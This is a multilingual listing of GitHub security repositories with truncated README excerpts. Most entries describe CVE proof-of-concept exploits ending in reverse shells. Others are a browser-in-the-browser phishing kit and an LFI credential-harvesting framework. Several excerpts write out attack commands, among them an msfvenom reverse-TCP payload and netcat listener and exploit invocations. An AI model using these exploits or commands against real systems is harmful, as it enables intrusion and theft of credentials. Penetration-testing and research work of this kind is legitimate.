Mimic

Mimic フレームレス Browser‑in‑the‑Browser BitB - iframe なし、フレームバスティング問題なし。単一スクリプトの Shadow DOM / MutationObserver ライブラリで、現実的なフィッシングシミュレーションを実現し、リバースプロキシ経由で簡単にインジェクションできます。 ⚠️ 警告 : このソフトウェアは、お住まいの地域の現行法令に従ってのみ使用してください。このソフトウェアの誤用は法的・倫理的な問題を引き起こす可能性があり、私はそれを支持せず、またその責任を負うことはできません。 📖 沿革 MalwareMonster...

CVE-2025-56383

취약점 공격 유형: DLL Hijacking DLL 하이재킹 대상 애플리케이션: Notepad++ 방법: NppExport.dll 파일이 Notepad++에 의해 작업 디렉터리에서 로드됨 구현 악성 DLL에는 다음이 포함됩니다: 호환성을 위한 원본 라이브러리의 내보내기 함수 공격자 호스트에 연결되는 Reverse shell 로딩 차단을 방지하기 위한 별도 스레드에서의 실행...

CVE-2021-44967

CVE-2021-44967: LimeSurvey 인증된 RCE CVE-2021-44967에 대한 개념 증명입니다. 이 스크립트는 LimeSurvey에 인증하고, PHP 플러그인을 업로드 및 활성화한 뒤, 리버스 셸을 트리거합니다. 소유하거나 테스트 권한이 있는 시스템에만 사용하십시오. 요구 사항 Python 3 beautifulsoup4, netifaces, requests PATH에서 사용 가능한 nc 플러그인 설치 권한이 있는 LimeSurvey 관리자 자격 증명 격리된 환경을 만들고 Python 패키지를 설치하십시오:...

paint2die

가장 간단하고 안정적인 RichFaces Paint2DResource CVE-2018-12533 RF-14310 익스플로잇 설치 • 사용법 • Paint2Die 실행 설치 지침 git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt 사용법 ./paint2die -h 이 명령은 도구의 도움말을 표시합니다. 지원하는 모든 스위치는 다음과 같습니다. Usage:...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki 인증되지 않은 RCE 익스플로잇 영향을 받는 XWiki 버전 버전 15.10.11 버전 16.4.1 버전 16.5.0RC1 취약점 설명 영향을 받는 XWiki 버전은 SolrSearch 매크로에서 안전하지 않은 Groovy 표현식 처리로 인한 원격 코드 실행 취약점을 포함합니다. 인증되지 않은 공격자는 원격으로 임의의 Groovy 코드를 실행하고 리버스 셸을 획득할 수 있습니다. 개념 증명 이 익스플로잇은 대상 시스템에서 코드를 실행하고 리버스 셸을 설정하는 데 사용할 수 있습니다....

ctxdebug

MCP servers for WinDbg, IDA Pro, and x64dbg One stdio interface · 160+ tools · Three debuggers, one client. Quick Start · Architecture · Servers · Workflows · Report an Issue Website · ctxdebug.xyz · Contact · [email protected] · Status · Public alpha For authorized reverse engineering, cras...

ida_kcpp

idakcpp An IDAPython module for way more convienent way to Reverse Engineering iOS kernelcaches. Big part of the iOS kernelcache is written by C++, which compiled into complicated binary code use many virtual table derefences rather than explicit direct calls.idakcpp takes the advanteage of...

openhaystack

OpenHaystack OpenHaystack is a framework for tracking personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking tags that you can append to physical objects keyrings, backpacks, ... or integrate it into other Bluetooth-capable devices such as notebooks...

CVE-2025-25257

CVE-2025-25257 watchtowr와 다른 사람들이 GitHub에서 공개한 CVE-2025-25257 익스플로잇이 공식 벤더 웹사이트에서 다운로드한 fortiweb 설치 환경에서 작동하지 않았습니다. 저는 이러한 익스플로잇 코드 일부를 가져와서 내 환경에서 리버스 셸을 실행할 수 있는 PoC를 만들었습니다. 리버스 셸의 IP 주소와 포트는 하드코딩되어 있으므로 당연히 변경해야 합니다. 익스플로잇 분석 및 워크스루는 제 YouTube 채널의 두 파트 비디오로 설명되어 있습니다 이탈리아어, 영어 자막: 파트 1:...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit XWiki SolrSearch에 대한 인증되지 않은 RCE PoC CVE-2025-24893. 명령 실행 + 리버스 셸. CVE-2025-24893 – XWiki SolrSearch RCE PoC XWiki SolrSearch 템플릿 인젝션을 통해 인증되지 않은 원격 코드 실행을 유발하는 개념 증명. XWiki Debian 15.10.8 에서 테스트됨 15.10.11 / 16.4.1 / 16.5.0RC1에서 패치됨. ⚠️ 교육 목적으로만 사용하세요. 소유하지 않거나 명시적 테스트 허가를...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell CVE-2024-28397을 위한 리버스 셸. js2py = v0.74에서 작동하는 익스플로잇입니다. 요구 사항 requests 라이브러리 pip install requests Python3 Netcat 리버스 셸 리스너로 사용할 수 있는 도구 사용법 리스너용 nc -lnvp 4444 익스플로잇용 python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11 --localport 4444...

ablation

Ablationは、Ghidra、IDA Pro、Binary Ninjaといった業界標準ツールとまったく同じコアの逆アセンブル、逆コンパイル、バイナリ解析機能を提供するリバースエンジニアリングフレームワークです。 Claude CodeやOpenAI Codexと組み合わせることで、完全自律型のリバースエンジニアリングツールへと変貌します。 機能 BERTによるセマンティック検索:...

LFI-Destruction

🔥 LFI-Destruction – 공인 침투 테스트 프레임워크 LFI-Destroyer는 공인된 보안 전문가를 위해 설계된 포괄적이고 모듈식 LFILocal File Inclusion 익스플로잇 프레임워크입니다. 여러 공격 기술을 단일의 사용하기 쉬운 도구로 결합합니다: SSH 및 브라우저 아티팩트 퍼징 – Linux 및 Windows에서 SSH 키, Putty PPK, WinSCP, FileZilla, Firefox, Chrome, Edge, Brave 자격 증명을 찾습니다. 로그 포이즈닝 → 리버스 셸 – 쓰기 가능한 로...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 원격 코드 실행 때때로 스크립트가 첫 시도에 작동하지 않습니다. 작동할 때까지 몇 번 시도해 보세요 실행 방법 msfvenom으로 페이로드 생성 msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java server.py 시작하기 이 서버는 cve.2023-26360.py를 통한 초기 접근 후 Coldfusion 서버로 페이로드를 전송하므로, 먼저 초기화되어 있어야 합니다. python3...

CVE-2025-14700-poc

CVE-2025-14700 POC Crafty Controller --login --password --lhost --lport 이 스크립트는 리버스 셸 페이로드를 트리거한 후 netcat을 사용하여 리스너를 설정합니다. 리스너 머신에 netcat이 없으면 작동하지 않습니다...

CVE-2025-5548

メモリ破壊研究 & エクスプロイトラボ CVE-2025-5548 Windows 11 環境における高度な脆弱性解析 英語版 プロジェクト概要 このリポジトリは、FreeFloat FTP Server 1.0 における スタックベースのバッファオーバーフロー 脆弱性 CVE-2025-5548 に焦点を当てた、プロフェッショナルレベルのサイバーセキュリティ研究プロジェクトを文書化したものです。 目標は、堅牢化された Windows 11 build 26200.6584 研究環境から、機能するエンドツーエンドの 概念実証 PoC へと移行する、厳密な分析方法論を実証することです。...

CVE-2021-44228-PoC

Log4ShellCVE-2021-44228로 리버스 셸을 실행하는 자체 포함 랩 환경 PoC 이것은 docker compose로 안전하게 익스플로잇을 실행하는 자체 포함 랩 환경입니다. 영향을 받는 버전은 Apache Log4j =2.0–2.14.1이며, CVE는 CVE-2021-44228CVSS 점수: 10.0로 추적됩니다. Apache Log4j를 가능한 한 빨리 버전 2.16+로 패치하세요!!! 사전 요구 사항 이 코드는 Docker와 Docker Compose가 필요합니다. 설명 Dockerfile 및...

React2Shell-CVE-2025-55182-PoC-Reverse-Shell

🚀 React2Shell - CVE-2025–55182 익스플로잇 스크립트 🔥 소개 이 저장소는 React2Shell 취약점CVE-2025–55182을 위한 익스플로잇 스크립트를 포함하고 있습니다. 이 취약점은 특정 유형의 Node.js 프로토타입 오염Prototype Pollution 을 대상으로 하여 원격 코드 실행RCE 으로 이어집니다. 이 스크립트는 취약한 애플리케이션에 악성 페이로드를 주입하여 Netcat 리버스 셸 연결을 설정하도록 특별히 설계되었습니다. ⚠️ 면책 조항 이 도구는 교육 및 연구 목적으로만 사용됩니다...

CVE-2023-30258-magnus-billing-v7-exploit

Magnus Billing System v7 익스플로잇 이 Python 스크립트는 Magnus Billing System v7의 명령 주입 취약점, 특히 /mbilling/lib/icepay/icepay.php에 위치한 icepay.php 스크립트에서의 익스플로잇을 자동화합니다. 이 익스플로잇은 democ 파라미터를 활용하여 대상 시스템에서 임의의 명령을 실행하고, 궁극적으로 공격자가 제어하는 시스템으로 리버스 셸을 설정합니다. 취약점 개요 이 취약점은 조작된 GET 요청을 통해 인증 없이 명령 주입을 허용합니다. 원래 개념...

CVE-2023-4220-Proof-of-concept

CVE-2023-4220-Proof-of-concept Chamilo LMS 인증되지 않은 Big Upload 파일로 원격 코드 실행 허용 이 코드는 HACKTHEBOX CTF PERMX를 위해 제작 및 사용되었습니다. 인증되지 않은 파일 업로드 취약점이 /main/inc/lib/javascript/bigupload/inc/bigUpload.php의 대용량 파일 업로드 기능에 존재하며, Chamilo LMS php 리버스 셸 코드는 pentestmonkey에서 사용되었습니다...